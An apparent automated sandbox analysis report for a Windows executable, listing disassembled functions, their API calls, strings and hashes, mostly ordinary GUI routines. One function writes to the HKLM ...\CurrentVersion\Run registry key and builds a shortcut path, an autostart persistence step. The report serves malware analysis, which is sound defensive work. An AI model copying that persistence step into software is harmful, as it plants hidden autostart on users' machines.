msctls_updown32, xrefs: 0040B67F
EDIT, xrefs: 0040B5B7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$BrushCreateSolid
String ID: EDIT$msctls_updown32
API String ID: 943060551-1401569126
Opcode ID: f01f057c38e4c3662e9d9c6e1b91cf1c519af47232b94798e7e35666b1414fb7
Instruction ID: 289182221331311f3440c644398dfbde256b7816bd5787c5197fd01c1a70aaac
Opcode Fuzzy Hash: f01f057c38e4c3662e9d9c6e1b91cf1c519af47232b94798e7e35666b1414fb7
Instruction Fuzzy Hash: F2919071604B00ABE724DB28CC55F6BB6E5EB84704F10492EE696A73D0DB78EC058B9D

Function 00468D70 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 135
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004801E0: lstrcpyA.KERNEL32(-0000002C,?,?,?,?,00468DB7), ref: 0048020E
Part of subcall function 004801E0: FindFirstFileA.KERNEL32(?,?,?,00468DB7), ref: 00480218
Part of subcall function 004801E0: GetLastError.KERNEL32(?,00468DB7), ref: 00480226
Part of subcall function 004801E0: SetLastError.KERNEL32(0000007B,000000FF), ref: 00480271

RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 00468E2E
RegSetValueExA.KERNEL32(?,00000002,00000000,00000001,?,?), ref: 00468E51
RegCloseKey.ADVAPI32(00000000), ref: 00468E60
RegCloseKey.ADVAPI32(00000000), ref: 00468EA7

Part of subcall function 0048015A: __EH_prolog.LIBCMT ref: 0048015F

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00468E24
%s\%s.lnk, xrefs: 00468F0B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseErrorLast$DecrementFileFindFirstH_prologInterlockedOpenValuelstrcpy
String ID: %s\%s.lnk$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 723761139-2596592962
Opcode ID: fdaecba3022513ecc9c89c1a2e5063fa84db0f603fea39efcd8c9a303d61bbcc
Instruction ID: c6ff8740ad1dfb5075c7583ac0aa7bd175429d882b917291de11db4c67ff5486
Opcode Fuzzy Hash: fdaecba3022513ecc9c89c1a2e5063fa84db0f603fea39efcd8c9a303d61bbcc
Instruction Fuzzy Hash: 55519D71218381ABD364EB60CC49FAFB7A8ABD4714F100A1EF5A596291EF399408C727

Function 0041E3E0 Relevance: 13.8, APIs: 9, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3ea7c03aaa24816a250f33dfdf08de65309c01f602f718ba55de8ad742ad91
Instruction ID: 2ab09d7f1e5ce43a55acd6e5afa8fc0c5933f71c850432e7250c281f4ec90afc
Opcode Fuzzy Hash: 4e3ea7c03aaa24816a250f33dfdf08de65309c01f602f718ba55de8ad742ad91
Instruction Fuzzy Hash: 47B1A674604700AFD724CF66C884B5BBBE6BBC4304F50892EF99287390D778E881CB5A

Function 004080F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004081A7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004081BF
WaitForInputIdle.USER32(?,000003E8), ref: 004081D1
CloseHandle.KERNEL32(?), ref: 004081E2
CloseHandle.KERNEL32(?), ref: 004081E9

Strings

D, xrefs: 00408109

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseHandleWait$CreateIdleInputObjectProcessSingle
String ID: D
API String ID: 2811420030-2746444292
Opcode ID: 4e6d83268c29022d597c4d51c7c17fdc6fb2d83fd6270ca38f2214db7358e317
Instruction ID: f4d271d3757b4a595fe06e13ef1ee891a8e7c65abbb0ca6c3ffb93d8893a6838
Opcode Fuzzy Hash: 4e6d83268c29022d597c4d51c7c17fdc6fb2d83fd6270ca38f2214db7358e317
Instruction Fuzzy Hash: 2E316F756083009BD720CB18CD81A5B77E5EF95750F24492EE9C2EB3E0DA78D846875B

Function 00497CFE Relevance: 9.0, APIs: 6, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00497D0B
GetSystemMetrics.USER32(0000000C), ref: 00497D12
RtlAllocateHeap.NTDLL(00000000), ref: 00497D2B
GetDeviceCaps.GDI32(00000000,00000058), ref: 00497D3C
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00497D44
ReleaseDC.USER32(00000000,00000000), ref: 00497D4C

Part of subcall function 0049C389: GetSystemMetrics.USER32(00000002), ref: 0049C39B
Part of subcall function 0049C389: GetSystemMetrics.USER32(00000003), ref: 0049C3A5

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$AllocateCallbackDispatcherHeapReleaseUser
String ID:
API String ID: 1911780990-0
Opcode ID: 39e18829d544c561b1634084ab5ebf4a256867ecdaeaea694be4ee13d8405e48
Instruction ID: 257000c38438baefc9f917d8edea1aa10dd78e291a678449288b7f20612e75ff
Opcode Fuzzy Hash: 39e18829d544c561b1634084ab5ebf4a256867ecdaeaea694be4ee13d8405e48
Instruction Fuzzy Hash: 50F09030640704AEE7206B728C89B277FA4DF85761F00453AE601872A0CA7498418FA5

Function 004103F0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 004104FC
DestroyIcon.USER32(?,?,?,?,0000008C,00000000), ref: 0041055A
SendMessageA.USER32(?,000000F7,00000001,?), ref: 004105FC
SendMessageA.USER32(?,000000F7,00000000,?), ref: 0041062E

Strings

BUTTON, xrefs: 004105BB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$ColorDestroyIcon
String ID: BUTTON
API String ID: 1480523805-3405671355
Opcode ID: 86f244a3f3dcc7a2dd9269f8341c9680a1269af41e0f0b62343bd307a272228d
Instruction ID: ea9e2494ef2023e8f32cfa24b5e0a65dabf85430aa765f614ed6342c3bf82af5
Opcode Fuzzy Hash: 86f244a3f3dcc7a2dd9269f8341c9680a1269af41e0f0b62343bd307a272228d
Instruction Fuzzy Hash: 886191B5604704AFD724DF15C880BABB7A5FB85710F508A2EF58683390CB79E8C4CB5A

Function 0040B770 Relevance: 7.6, APIs: 5, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetTextExtentPoint32A.GDI32(?,004BBC94,?,?), ref: 0040B811
GetSystemMetrics.USER32(0000002E), ref: 0040B825
GetWindowRect.USER32(?,?), ref: 0040B845
GetStockObject.GDI32(00000011), ref: 0040B892
SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040B8A1

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ExtentMessageMetricsObjectPoint32RectSendStockSystemTextWindow
String ID:
API String ID: 3316701254-0
Opcode ID: 23f6ec5a6a7ed19fdb9ffff266fa426f7419396023be159b3d51df88a29eebd0
Instruction ID: f28453cb8165dc9f6cf9caeb7c3a2a30501619be52ed3afe5d577e7b2373f7fc
Opcode Fuzzy Hash: 23f6ec5a6a7ed19fdb9ffff266fa426f7419396023be159b3d51df88a29eebd0
Instruction Fuzzy Hash: C0418176204300AFD724DF65CD85F6B77A8EB84714F00493EF652A72C0DB78E8058B59

Function 0040CBB0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 004987CF: __EH_prolog.LIBCMT ref: 004987D4
Part of subcall function 004987CF: GetWindowDC.USER32(?,?,?,0040CBE1), ref: 004987FD

GetClientRect.USER32 ref: 0040CBF2
GetWindowRect.USER32(?,?), ref: 0040CC01

Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6

OffsetRect.USER32(?,?,?), ref: 0040CC2C

Part of subcall function 004984C6: ExcludeClipRect.GDI32(?,?,?,?,?,7608A5C0,?,?,0040CC3C,?), ref: 004984EB
Part of subcall function 004984C6: ExcludeClipRect.GDI32(?,?,?,?,?,7608A5C0,?,?,0040CC3C,?), ref: 00498500

OffsetRect.USER32(?,?,?), ref: 0040CC4F
FillRect.USER32(?,?,?), ref: 0040CC6A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Client$ClipExcludeOffsetScreenWindow$FillH_prolog
String ID:
API String ID: 2829754061-0
Opcode ID: 8fed3c290c06e2bc71516f75a74078f25c2e39632957b04549611fb079fae124
Instruction ID: 887f6db773c663d0c0cb007133ee30b77a9b316a8d55b520d9b20919d509f529
Opcode Fuzzy Hash: 8fed3c290c06e2bc71516f75a74078f25c2e39632957b04549611fb079fae124
Instruction Fuzzy Hash: 43318475208302AFD714DF58C845EABBBE9EB89714F008A1DF49687390DB34E905CB56

Function 0041E2C0 Relevance: 6.1, APIs: 4, Instructions: 94windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000080,00000001,?), ref: 0041E368
SendMessageA.USER32(?,00000080,00000000,?), ref: 0041E37A
DestroyIcon.USER32(?), ref: 0041E38D
DestroyIcon.USER32(?), ref: 0041E39A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DestroyIconMessageSend
String ID:
API String ID: 1880505497-0
Opcode ID: 1a7615ca0093ea44de47ca627e270b26bd9bd860bfccb59c279f0d4bec922588
Instruction ID: 60fe53984925e5a1c21c83b92f78745c10398adbe95378efd05465a2cd99dca5
Opcode Fuzzy Hash: 1a7615ca0093ea44de47ca627e270b26bd9bd860bfccb59c279f0d4bec922588
Instruction Fuzzy Hash: A5311E756043056FE720DF66D880BABB7E8EFC4710F14882EFDA987340D674E8498B66

Function 004112A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000401,00000000,?), ref: 004113CA
SendMessageA.USER32(?,00000402,?,00000000), ref: 004113F7

Strings

msctls_progress32, xrefs: 0041137E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend
String ID: msctls_progress32
API String ID: 3850602802-3107856198
Opcode ID: e0a1efc875593a07d6f0085c40e6370f7ecca35a38f9816252511e0d69e7f99f
Instruction ID: 506c9ea9994b5825d8552fe634d083f4f6bc0e016f06e1fcb3eafdfbb4a0268b
Opcode Fuzzy Hash: e0a1efc875593a07d6f0085c40e6370f7ecca35a38f9816252511e0d69e7f99f
Instruction Fuzzy Hash: F9416D71704B009BE328CB19CC81F6BB7E6ABC8704F148A2EFA56D7790D679EC418755

Function 00412EF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000005), ref: 00412FD0
LoadCursorA.USER32(00000000,00007F00), ref: 00412FDE

Strings

_EL_Timer, xrefs: 00412FE7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CursorLoadObjectStock
String ID: _EL_Timer
API String ID: 3794545487-970978732
Opcode ID: a2d98567a51097ff8e6ad25af64fb65f1112217b4e5b02df3c6e783f58e34d68
Instruction ID: c50af10d5538d70090f88f4c383b368708dae5dc4d6a9f7d9fa346b9dc32af80
Opcode Fuzzy Hash: a2d98567a51097ff8e6ad25af64fb65f1112217b4e5b02df3c6e783f58e34d68
Instruction Fuzzy Hash: A2316BB1648750AFD314DB54CD41B6BB7E4EB88B04F104A2EFA49C7380D679E804CB56

Function 0040E040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000005), ref: 0040E111
LoadCursorA.USER32(00000000,00007F00), ref: 0040E11F

Part of subcall function 004244C0: GetClassInfoA.USER32(?,?,00000000), ref: 004244D8

Strings

_EL_Label, xrefs: 0040E128

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClassCursorInfoLoadObjectStock
String ID: _EL_Label
API String ID: 1762135420-1571322718
Opcode ID: 5b7d037874467b98a6f74159185684098293c905ab1be7f3ed2d5a82eb617e5c
Instruction ID: 6b5c0b9f3f93932cbd013e97fcbfef486270a6a19b349cf6cead2184325c53e5
Opcode Fuzzy Hash: 5b7d037874467b98a6f74159185684098293c905ab1be7f3ed2d5a82eb617e5c
Instruction Fuzzy Hash: 95316DB1608710ABE314DB59CC41F2BBBE4EB88B04F104A2EF65A973D0D775A801CB96

Function 00411420 Relevance: 4.7, APIs: 3, Instructions: 188COMMON

Download Yara Rule

